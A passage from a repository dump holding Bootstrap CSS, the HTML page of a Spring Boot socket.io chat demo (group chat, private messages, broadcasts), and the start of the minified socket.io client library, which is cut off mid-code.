transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-success .bar {\n  background-color: #5eb95e;\n  background-image: -moz-linear-gradient(top, #62c462, #57a957);\n  background-image: -ms-linear-gradient(top, #62c462, #57a957);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));\n  background-image: -webkit-linear-gradient(top, #62c462, #57a957);\n  background-image: -o-linear-gradient(top, #62c462, #57a957);\n  background-image: linear-gradient(top, #62c462, #57a957);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);\n}\n\n.progress-success.progress-striped .bar {\n  background-color: #62c462;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-info .bar {\n  background-color: #4bb1cf;\n  background-image: -moz-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -ms-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: -o-linear-gradient(top, #5bc0de, #339bb9);\n  background-image: linear-gradient(top, #5bc0de, #339bb9);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);\n}\n\n.progress-info.progress-striped .bar {\n  background-color: #5bc0de;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-warning .bar {\n  background-color: #faa732;\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(top, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n}\n\n.progress-warning.progress-striped .bar {\n  background-color: #fbb450;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.accordion {\n  margin-bottom: 18px;\n}\n\n.accordion-group {\n  margin-bottom: 2px;\n  border: 1px solid #e5e5e5;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.accordion-heading {\n  border-bottom: 0;\n}\n\n.accordion-heading .accordion-toggle {\n  display: block;\n  padding: 8px 15px;\n}\n\n.accordion-toggle {\n  cursor: pointer;\n}\n\n.accordion-inner {\n  padding: 9px 15px;\n  border-top: 1px solid #e5e5e5;\n}\n\n.carousel {\n  position: relative;\n  margin-bottom: 18px;\n  line-height: 1;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel .item {\n  position: relative;\n  display: none;\n  -webkit-transition: 0.6s ease-in-out left;\n     -moz-transition: 0.6s ease-in-out left;\n      -ms-transition: 0.6s ease-in-out left;\n       -o-transition: 0.6s ease-in-out left;\n          transition: 0.6s ease-in-out left;\n}\n\n.carousel .item > img {\n  display: block;\n  line-height: 1;\n}\n\n.carousel .active,\n.carousel .next,\n.carousel .prev {\n  display: block;\n}\n\n.carousel .active {\n  left: 0;\n}\n\n.carousel .next,\n.carousel .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n\n.carousel .next {\n  left: 100%;\n}\n\n.carousel .prev {\n  left: -100%;\n}\n\n.carousel .next.left,\n.carousel .prev.right {\n  left: 0;\n}\n\n.carousel .active.left {\n  left: -100%;\n}\n\n.carousel .active.right {\n  left: 100%;\n}\n\n.carousel-control {\n  position: absolute;\n  top: 40%;\n  left: 15px;\n  width: 40px;\n  height: 40px;\n  margin-top: -20px;\n  font-size: 60px;\n  font-weight: 100;\n  line-height: 30px;\n  color: #ffffff;\n  text-align: center;\n  background: #222222;\n  border: 3px solid #ffffff;\n  -webkit-border-radius: 23px;\n     -moz-border-radius: 23px;\n          border-radius: 23px;\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n}\n\n.carousel-control.right {\n  right: 15px;\n  left: auto;\n}\n\n.carousel-control:hover {\n  color: #ffffff;\n  text-decoration: none;\n  opacity: 0.9;\n  filter: alpha(opacity=90);\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 10px 15px 5px;\n  background: #333333;\n  background: rgba(0, 0, 0, 0.75);\n}\n\n.carousel-caption h4,\n.carousel-caption p {\n  color: #ffffff;\n}\n\n.hero-unit {\n  padding: 60px;\n  margin-bottom: 30px;\n  background-color: #eeeeee;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n}\n\n.hero-unit h1 {\n  margin-bottom: 0;\n  font-size: 60px;\n  line-height: 1;\n  letter-spacing: -1px;\n  color: inherit;\n}\n\n.hero-unit p {\n  font-size: 18px;\n  font-weight: 200;\n  line-height: 27px;\n  color: inherit;\n}\n\n.pull-right {\n  float: right;\n}\n\n.pull-left {\n  float: left;\n}\n\n.hide {\n  display: none;\n}\n\n.show {\n  display: block;\n}\n\n.invisible {\n  visibility: hidden;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/resources/static/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\"/>\n    <title>spring-boot-demo-websocket-socketio</title>\n    <link href=\"bootstrap.css\" rel=\"stylesheet\">\n    <link href=\"https://cdn.bootcss.com/layer/2.3/skin/layer.css\" rel=\"stylesheet\">\n    <style>\n        body {\n            padding: 20px;\n        }\n\n        #console {\n            height: 400px;\n            overflow: auto;\n        }\n\n        .username-msg {\n            color: orange;\n        }\n\n        .connect-msg {\n            color: green;\n        }\n\n        .disconnect-msg {\n            color: red;\n        }\n\n        .broadcast {\n            color: red;\n        }\n\n        .send-msg {\n            color: #888\n        }\n\n        .sys-msg {\n            color: #888\n        }\n\n    </style>\n\n    <script src=\"js/socket.io/socket.io.js\"></script>\n    <script src=\"js/moment.min.js\"></script>\n    <script src=\"js/jquery-1.10.1.min.js\"></script>\n    <script src=\"https://cdn.bootcss.com/axios/0.19.0-beta.1/axios.min.js\"></script>\n    <script src=\"https://cdn.bootcss.com/layer/2.3/layer.js\"></script>\n    <script>\n        const token = 'user' + Math.floor((Math.random() * 1000) + 1);\n        const url = `http://127.0.0.1:8081?token=${token}`;\n        const socket = io.connect(url);\n        socket.on('connect', function () {\n            output(`<span class=\"connect-msg\">系统通知: ${token}成功连接至websocket服务器</span>`);\n        });\n\n        socket.on('join', function (data) {\n            output(`<span class=\"sys-msg\">${data.groupId} 群通知: 新人 ${data.userId} 请爆照</span>`);\n        });\n\n        socket.on('chat', function (data) {\n            output(`<span class=\"username-msg\">系统通知: 收到来自 ${data.fromUid} 的悄悄话: ${data.message}</span>`);\n        });\n\n        socket.on('group', function (data) {\n            output(`<span class=\"username-msg\">${data.groupId} 群消息: ${data.fromUid} 说: ${data.message}</span>`);\n        });\n\n        socket.on('disconnect', function () {\n            output(`<span class=\"disconnect-msg\">系统通知: ${token}已从websocket服务器断开连接</span>`);\n        });\n\n        socket.on('broadcast', function (data) {\n            output(`<span class=\"broadcast\">${data.message}</span>`);\n        });\n\n        function sendConnect() {\n            socket.connect();\n        }\n\n        function sendDisconnect() {\n            socket.disconnect();\n        }\n\n        function sendBroadcast() {\n            axios.post('/demo/send/broadcast', {\n                message: '系统广播通知: 当前时间 ' + moment().format('YYYY-MM-DD HH:mm:ss.SSS')\n            }).then((response) => {\n                const {flag, message} = response.data;\n                if (flag) {\n                    layer.msg(message, {icon: 6});\n                } else {\n                    layer.msg(message, {icon: 5});\n                }\n            });\n        }\n\n        function sendJoin() {\n            let joinRequest = {\n                userId: token,\n                groupId: \"666\"\n\n            };\n            socket.emit('join', joinRequest);\n        }\n\n        function sendGroup() {\n            let message = $('#msg').val();\n\n            if (message === '') {\n                layer.msg('你不说点什么嘛?', {icon: 5});\n                return;\n            }\n\n            $('#msg').val('');\n            let groupRequest = {\n                fromUid: token,\n                groupId: \"666\",\n                message: message\n            };\n            socket.emit('group', groupRequest, function (data) {\n                if (data) {\n                    layer.msg(data, {icon: 5});\n                }\n            });\n        }\n\n        function sendChat() {\n            let toUserId = $('#to').val();\n            let message = $('#msg').val();\n\n            if (toUserId === '') {\n                layer.msg('请输入对方昵称', {icon: 5});\n                return;\n            }\n            if (message === '') {\n                layer.msg('你不说点什么嘛?', {icon: 5});\n                return;\n            }\n            $('#to').val('');\n            $('#msg').val('');\n\n            let singleRequest = {\n                fromUid: token,\n                toUid: toUserId,\n                message: message\n            };\n            socket.emit('chat', singleRequest, function (data) {\n                output(`<span class=\"username-msg\">系统通知: 你刚刚和 ${singleRequest.toUid} 说了句悄悄话</span>`);\n                if (data && data.flag) {\n                    output(`<span class=\"username-msg\">系统通知: 悄悄话, ${data.message}</span>`);\n                } else {\n                    output(`<span class=\"disconnect-msg\">系统通知: 悄悄话, ${data.message}</span>`);\n                }\n            });\n        }\n\n        function output(message) {\n            let currentTime = \"<span class='time'>\" + moment().format('YYYY-MM-DD HH:mm:ss.SSS') + \"</span>\";\n            let element = $(\"<div>\" + currentTime + \" \" + message + \"</div>\");\n            $('#console').prepend(element);\n        }\n\n    </script>\n</head>\n<body>\n<h1>spring-boot-demo-websocket-socketio</h1>\n<br/>\n<div id=\"console\" class=\"well\">\n</div>\n<form class=\"well form-inline\" onsubmit=\"return false;\">\n    <input id=\"msg\" class=\"input-xlarge\" type=\"text\" placeholder=\"随便输点啥\"/>\n    <input id=\"to\" class=\"input-xlarge\" type=\"text\" placeholder=\"私聊发给谁\"/>\n    <button type=\"button\" onClick=\"sendJoin()\" class=\"btn\" id=\"join\">加入群聊</button>\n    <button type=\"button\" onClick=\"sendGroup()\" class=\"btn\" id=\"send\">群聊</button>\n    <button type=\"button\" onClick=\"sendChat()\" class=\"btn\" id=\"chat\">私聊</button>\n    <button type=\"button\" onClick=\"sendBroadcast()\" class=\"btn\">广播消息</button>\n    <button type=\"button\" onClick=\"sendConnect()\" class=\"btn\">连接</button>\n    <button type=\"button\" onClick=\"sendDisconnect()\" class=\"btn\">断开</button>\n</form>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket_socketio/src/main/resources/static/js/socket.io/socket.io.js",
    "content": "!function(e){if(\"object\"==typeof exports&&\"undefined\"!=typeof module)module.exports=e();else if(\"function\"==typeof define&&define.amd)define([],e);else{var f;\"undefined\"!=typeof window?f=window:\"undefined\"!=typeof global?f=global:\"undefined\"!=typeof self&&(f=self),f.io=e()}}(function(){var define,module,exports;return function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error(\"Cannot find module '\"+o+\"'\")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}({1:[function(_dereq_,module,exports){module.exports=_dereq_(\"./lib/\")},{\"./lib/\":2}],2:[function(_dereq_,module,exports){var url=_dereq_(\"./url\");var parser=_dereq_(\"socket.io-parser\");var Manager=_dereq_(\"./manager\");var debug=_dereq_(\"debug\")(\"socket.io-client\");module.exports=exports=lookup;var cache=exports.managers={};function lookup(uri,opts){if(typeof uri==\"object\"){opts=uri;uri=undefined}opts=opts||{};var parsed=url(uri);var source=parsed.source;var id=parsed.id;var io;if(opts.forceNew||opts[\"force new connection\"]||false===opts.multiplex){debug(\"ignoring socket cache for %s\",source);io=Manager(source,opts)}else{if(!cache[id]){debug(\"new io instance for %s\",source);cache[id]=Manager(source,opts)}io=cache[id]}return io.socket(parsed.path)}exports.protocol=parser.protocol;exports.connect=lookup;exports.Manager=_dereq_(\"./manager\");exports.Socket=_dereq_(\"./socket\")},{\"./manager\":3,\"./socket\":5,\"./url\":6,debug:10,\"socket.io-parser\":46}],3:[function(_dereq_,module,exports){var url=_dereq_(\"./url\");var eio=_dereq_(\"engine.io-client\");var Socket=_dereq_(\"./socket\");var Emitter=_dereq_(\"component-emitter\");var parser=_dereq_(\"socket.io-parser\");var on=_dereq_(\"./on\");var bind=_dereq_(\"component-bind\");var object=_dereq_(\"object-component\");var debug=_dereq_(\"debug\")(\"socket.io-client:manager\");var indexOf=_dereq_(\"indexof\");var Backoff=_dereq_(\"backo2\");module.exports=Manager;function Manager(uri,opts){if(!(this instanceof Manager))return new Manager(uri,opts);if(uri&&\"object\"==typeof uri){opts=uri;uri=undefined}opts=opts||{};opts.path=opts.path||\"/socket.io\";this.nsps={};this.subs=[];this.opts=opts;this.reconnection(opts.reconnection!==false);this.reconnectionAttempts(opts.reconnectionAttempts||Infinity);this.reconnectionDelay(opts.reconnectionDelay||1e3);this.reconnectionDelayMax(opts.reconnectionDelayMax||5e3);this.randomizationFactor(opts.randomizationFactor||.5);this.backoff=new Backoff({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()});this.timeout(null==opts.timeout?2e4:opts.timeout);this.readyState=\"closed\";this.uri=uri;this.connected=[];this.encoding=false;this.packetBuffer=[];this.encoder=new parser.Encoder;this.decoder=new parser.Decoder;this.autoConnect=opts.autoConnect!==false;if(this.autoConnect)this.open()}Manager.prototype.emitAll=function(){this.emit.apply(this,arguments);for(var nsp in this.nsps){this.nsps[nsp].emit.apply(this.nsps[nsp],arguments)}};Manager.prototype.updateSocketIds=function(){for(var nsp in this.nsps){this.nsps[nsp].id=this.engine.id}};Emitter(Manager.prototype);Manager.prototype.reconnection=function(v){if(!arguments.length)return this._reconnection;this._reconnection=!!v;return this};Manager.prototype.reconnectionAttempts=function(v){if(!arguments.length)return this._reconnectionAttempts;this._reconnectionAttempts=v;return this};Manager.prototype.reconnectionDelay=function(v){if(!arguments.length)return this._reconnectionDelay;this._reconnectionDelay=v;this.backoff&&this.backoff.setMin(v);return this};Manager.prototype.randomizationFactor=function(v){if(!arguments.length)return this._randomizationFactor;this._randomizationFactor=v;this.backoff&&this.backoff.setJitter(v);return this};Manager.prototype.reconnectionDelayMax=function(v){if(!arguments.length)return this._reconnectionDelayMax;this._reconnectionDelayMax=v;this.backoff&&this.backoff.setMax(v);return this};Manager.prototype.timeout=function(v){if(!arguments.length)return this._timeout;this._timeout=v;return this};Manager.prototype.maybeReconnectOnOpen=function(){if(!this.reconnecting&&this._reconnection&&this.backoff.attempts===0){this.reconnect()}};Manager.prototype.open=Manager.prototype.connect=function(fn){debug(\"readyState %s\",this.readyState);if(~this.readyState.indexOf(\"open\"))return this;debug(\"opening %s\",this.uri);this.engine=eio(this.uri,this.opts);var socket=this.engine;var self=this;this.readyState=\"opening\";this.skipReconnect=false;var openSub=on(socket,\"open\",function(){self.onopen();fn&&fn()});var errorSub=on(socket,\"error\",function(data){debug(\"connect_error\");self.cleanup();self.readyState=\"closed\";self.emitAll(\"connect_error\",data);if(fn){var err=new Error(\"Connection error\");err.data=data;fn(err)}else{self.maybeReconnectOnOpen()}});if(false!==this._timeout){var timeout=this._timeout;debug(\"connect attempt will timeout after %d\",timeout);var timer=setTimeout(function(){debug(\"connect attempt timed out after %d\",timeout);openSub.destroy();socket.close();socket.emit(\"error\",\"timeout\");self.emitAll(\"connect_timeout\",timeout)},timeout);this.subs.push({destroy:function(){clearTimeout(timer)}})}this.subs.push(openSub);this.subs.push(errorSub);return this};Manager.prototype.onopen=function(){debug(\"open\");this.cleanup();this.readyState=\"open\";this.emit(\"open\");var socket=this.engine;this.subs.push(on(socket,\"data\",bind(this,\"ondata\")));this.subs.push(on(this.decoder,\"decoded\",bind(this,\"ondecoded\")));this.subs.push(on(socket,\"error\",bind(this,\"onerror\")));this.subs.push(on(socket,\"close\",bind(this,\"onclose\")))};Manager.prototype.ondata=function(data){this.decoder.add(data)};Manager.prototype.ondecoded=function(packet){this.emit(\"packet\",packet)};Manager.prototype.onerror=function(err){debug(\"error\",err);this.emitAll(\"error\",err)};Manager.prototype.socket=function(nsp){var socket=this.nsps[nsp];if(!socket){socket=new Socket(this,nsp);this.nsps[nsp]=socket;var self=this;socket.on(\"connect\",function(){socket.id=self.engine.id;if(!~indexOf(self.connected,socket)){self.connected.push(socket)}})}return socket};Manager.prototype.destroy=function(socket){var index=indexOf(this.connected,socket);if(~index)this.connected.splice(index,1);if(this.connected.length)return;this.close()};Manager.prototype.packet=function(packet){debug(\"writing packet %j\",packet);var self=this;if(!self.encoding){self.encoding=true;this.encoder.encode(packet,function(encodedPackets){for(var i=0;i<encodedPackets.length;i++){self.engine.write(encodedPackets[i])}self.encoding=false;self.processPacketQueue()})}else{self.packetBuffer.push(packet)}};Manager.prototype.processPacketQueue=function(){if(this.packetBuffer.length>0&&!this.encoding){var pack=this.packetBuffer.shift();this.packet(pack)}};Manager.prototype.cleanup=function(){var sub;while(sub=this.subs.shift())sub.destroy();this.packetBuffer=[];this.encoding=false;this.decoder.destroy()};Manager.prototype.close=Manager.prototype.disconnect=function(){this.skipReconnect=true;this.backoff.reset();this.readyState=\"closed\";this.engine&&this.engine.close()};Manager.prototype.onclose=function(reason){debug(\"close\");this.cleanup();this.backoff.reset();this.readyState=\"closed\";this.emit(\"close\",reason);if(this._reconnection&&!this.skipReconnect){this.reconnect()}};Manager.prototype.reconnect=function(){if(this.reconnecting||this.skipReconnect)return this;var self=this;if(this.backoff.attempts>=this._reconnectionAttempts){debug(\"reconnect failed\");this.backoff.reset();this.emitAll(\"reconnect_failed\");this.reconnecting=false}else{var delay=this.backoff.duration();debug(\"will wait %dms before reconnect attempt\",delay);this.reconnecting=true;var timer=setTimeout(function(){if(self.skipReconnect)return;debug(\"attempting reconnect\");self.emitAll(\"reconnect_attempt\",self.backoff.attempts);self.emitAll(\"reconnecting\",self.backoff.attempts);if(self.skipReconnect)return;self.open(function(err){if(err){debug(\"reconnect attempt error\");self.reconnecting=false;self.reconnect();self.emitAll(\"reconnect_error\",err.data)}else{debug(\"reconnect success\");self.onreconnect()}})},delay);this.subs.push({destroy:function(){clearTimeout(timer)}})}};Manager.prototype.onreconnect=function(){var attempt=this.backoff.attempts;this.reconnecting=false;this.backoff.reset();this.updateSocketIds();this.emitAll(\"reconnect\",attempt)}},{\"./on\":4,\"./socket\":5,\"./url\":6,backo2:7,\"component-bind\":8,\"component-emitter\":9,debug:10,\"engine.io-client\":11,indexof:42,\"object-component\":43,\"socket.io-parser\":46}],4:[function(_dereq_,module,exports){module.exports=on;function on(obj,ev,fn){obj.on(ev,fn);return{destroy:function(){obj.removeListener(ev,fn)}}}},{}],5:[function(_dereq_,module,exports){var parser=_dereq_(\"socket.io-parser\");var Emitter=_dereq_(\"component-emitter\");var toArray=_dereq_(\"to-array\");var on=_dereq_(\"./on\");var bind=_dereq_(\"component-bind\");var debug=_dereq_(\"debug\")(\"socket.io-client:socket\");var hasBin=_dereq_(\"has-binary\");module.exports=exports=Socket;var events={connect:1,connect_error:1,connect_timeout:1,disconnect:1,error:1,reconnect:1,reconnect_attempt:1,reconnect_failed:1,reconnect_error:1,reconnecting:1};var emit=Emitter.prototype.emit;function Socket(io,nsp){this.io=io;this.nsp=nsp;this.json=this;this.ids=0;this.acks={};if(this.io.autoConnect)this.open();this.receiveBuffer=[];this.sendBuffer=[];this.connected=false;this.disconnected=true}Emitter(Socket.prototype);Socket.prototype.subEvents=function(){if(this.subs)return;var io=this.io;this.subs=[on(io,\"open\",bind(this,\"onopen\")),on(io,\"packet\",bind(this,\"onpacket\")),on(io,\"close\",bind(this,\"onclose\"))]};Socket.prototype.open=Socket.prototype.connect=function(){if(this.connected)return this;this.subEvents();this.io.open();if(\"open\"==this.io.readyState)this.onopen();return this};Socket.prototype.send=function(){var args=toArray(arguments);args.unshift(\"message\");this.emit.apply(this,args);return this};Socket.prototype.emit=function(ev){if(events.hasOwnProperty(ev)){emit.apply(this,arguments);return this}var args=toArray(arguments);var parserType=parser.EVENT;if(hasBin(args)){parserType=parser.BINARY_EVENT}var packet={type:parserType,data:args};if(\"function\"==typeof args[args.length-1]){debug(\"emitting packet with ack id %d\",this.ids);this.acks[this.ids]=args.pop();packet.id=this.ids++}if(this.connected){this.packet(packet)}else{this.sendBuffer.push(packet)}return this};Socket.prototype.packet=function(packet){packet.nsp=this.nsp;this.io.packet(packet)};Socket.prototype.onopen=function(){debug(\"transport is open - connecting\");if(\"/\"!=this.nsp){this.packet({type:parser.CONNECT})}};Socket.prototype.onclose=function(reason){debug(\"close (%s)\",reason);this.connected=false;this.disconnected=true;delete this.id;this.emit(\"disconnect\",reason)};Socket.prototype.onpacket=function(packet){if(packet.nsp!=this.nsp)return;switch(packet.type){case parser.CONNECT:this.onconnect();break;case parser.EVENT:this.onevent(packet);break;case parser.BINARY_EVENT:this.onevent(packet);break;case parser.ACK:this.onack(packet);break;case parser.BINARY_ACK:this.onack(packet);break;case parser.DISCONNECT:this.ondisconnect();break;case parser.ERROR:this.emit(\"error\",packet.data);break}};Socket.prototype.onevent=function(packet){var args=packet.data||[];debug(\"emitting event %j\",args);if(null!=packet.id){debug(\"attaching ack callback to event\");args.push(this.ack(packet.id))}if(this.connected){emit.apply(this,args)}else{this.receiveBuffer.push(args)}};Socket.prototype.ack=function(id){var self=this;var sent=false;return function(){if(sent)return;sent=true;var args=toArray(arguments);debug(\"sending ack %j\",args);var type=hasBin(args)?parser.BINARY_ACK:parser.ACK;self.packet({type:type,id:id,data:args})}};Socket.prototype.onack=function(packet){debug(\"calling ack %s with %j\",packet.id,packet.data);var fn=this.acks[packet.id];fn.apply(this,packet.data);delete this.acks[packet.id]};Socket.prototype.onconnect=function(){this.connected=true;this.disconnected=false;this.emit(\"connect\");this.emitBuffered()};Socket.prototype.emitBuffered=function(){var i;for(i=0;i<this.receiveBuffer.length;i++){emit.apply(this,this.receiveBuffer[i])}this.receiveBuffer=[];for(i=0;i<this.sendBuffer.length;i++){this.packet(this.sendBuffer[i])}this.sendBuffer=[]};Socket.prototype.ondisconnect=function(){debug(\"server disconnect (%s)\",this.nsp);this.destroy();this.onclose(\"io server disconnect\")};Socket.prototype.destroy=function(){if(this.subs){for(var i=0;i<this.subs.length;i++){this.subs[i].destroy()}this.subs=null}this.io.destroy(this)};Socket.prototype.close=Socket.prototype.disconnect=function(){if(this.connected){debug(\"performing disconnect (%s)\",this.nsp);this.packet({type:parser.DISCONNECT})}this.destroy();if(this.connected){this.onclose(\"io client disconnect\")}return this}},{\"./on\":4,\"component-bind\":8,\"component-emitter\":9,debug:10,\"has-binary\":38,\"socket.io-parser\":46,\"to-array\":50}],6:[function(_dereq_,module,exports){(function(global){var parseuri=_dereq_(\"parseuri\");var debug=_dereq_(\"debug\")(\"socket.io-client:url\");module.exports=url;function url(uri,loc){var obj=uri;var loc=loc||global.location;if(null==uri)uri=loc.protocol+\"//\"+loc.host;if(\"string\"==typeof uri){if(\"/\"==uri.charAt(0)){if(\"/\"==uri.charAt(1)){uri=loc.protocol+uri}else{uri=loc.hostname+uri}}if(!/^(https?|wss?):\\/\\//.test(uri)){debug(\"protocol-less url %s\",uri);if(\"undefined\"!=typeof loc){uri=loc.protocol+\"//\"+uri}else{uri=\"https://\"+uri}}debug(\"parse %s\",uri);obj=parseuri(uri)}if(!obj.port){if(/^(http|ws)$/.test(obj.protocol)){obj.port=\"80\"}else if(/^(http|ws)s$/.test(obj.protocol)){obj.port=\"443\"}}obj.path=obj.path||\"/\";obj.id=obj.protocol+\"://\"+obj.host+\":\"+obj.port;obj.href=obj.protocol+\"://\"+obj.host+(loc&&loc.port==obj.port?\"\":\":\"+obj.port);return obj}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{debug:10,parseuri:44}],7:[function(_dereq_,module,exports){module.exports=Backoff;function Backoff(opts){opts=opts||{};this.ms=opts.min||100;this.max=opts.max||1e4;this.factor=opts.factor||2;this.jitter=opts.jitter>0&&opts.jitter<=1?opts.jitter:0;this.attempts=0}Backoff.prototype.duration=function(){var ms=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var rand=Math.random();var deviation=Math.floor(rand*this.jitter*ms);ms=(Math.floor(rand*10)&1)==0?ms-deviation:ms+deviation}return Math.min(ms,this.max)|0};Backoff.prototype.reset=function(){this.attempts=0};Backoff.prototype.setMin=function(min){this.ms=min};Backoff.prototype.setMax=function(max){this.max=max};Backoff.prototype.setJitter=function(jitter){this.jitter=jitter}},{}],8:[function(_dereq_,module,exports){var slice=[].slice;module.exports=function(obj,fn){if(\"string\"==typeof fn)fn=obj[fn];if(\"function\"!=typeof fn)throw new Error(\"bind() requires a function\");var args=slice.call(arguments,2);return function(){return fn.apply(obj,args.concat(slice.call(arguments)))}}},{}],9:[function(_dereq_,module,exports){module.exports=Emitter;function Emitter(obj){if(obj)return mixin(obj)}function mixin(obj){for(var key in Emitter.prototype){obj[key]=Emitter.prototype[key]}return 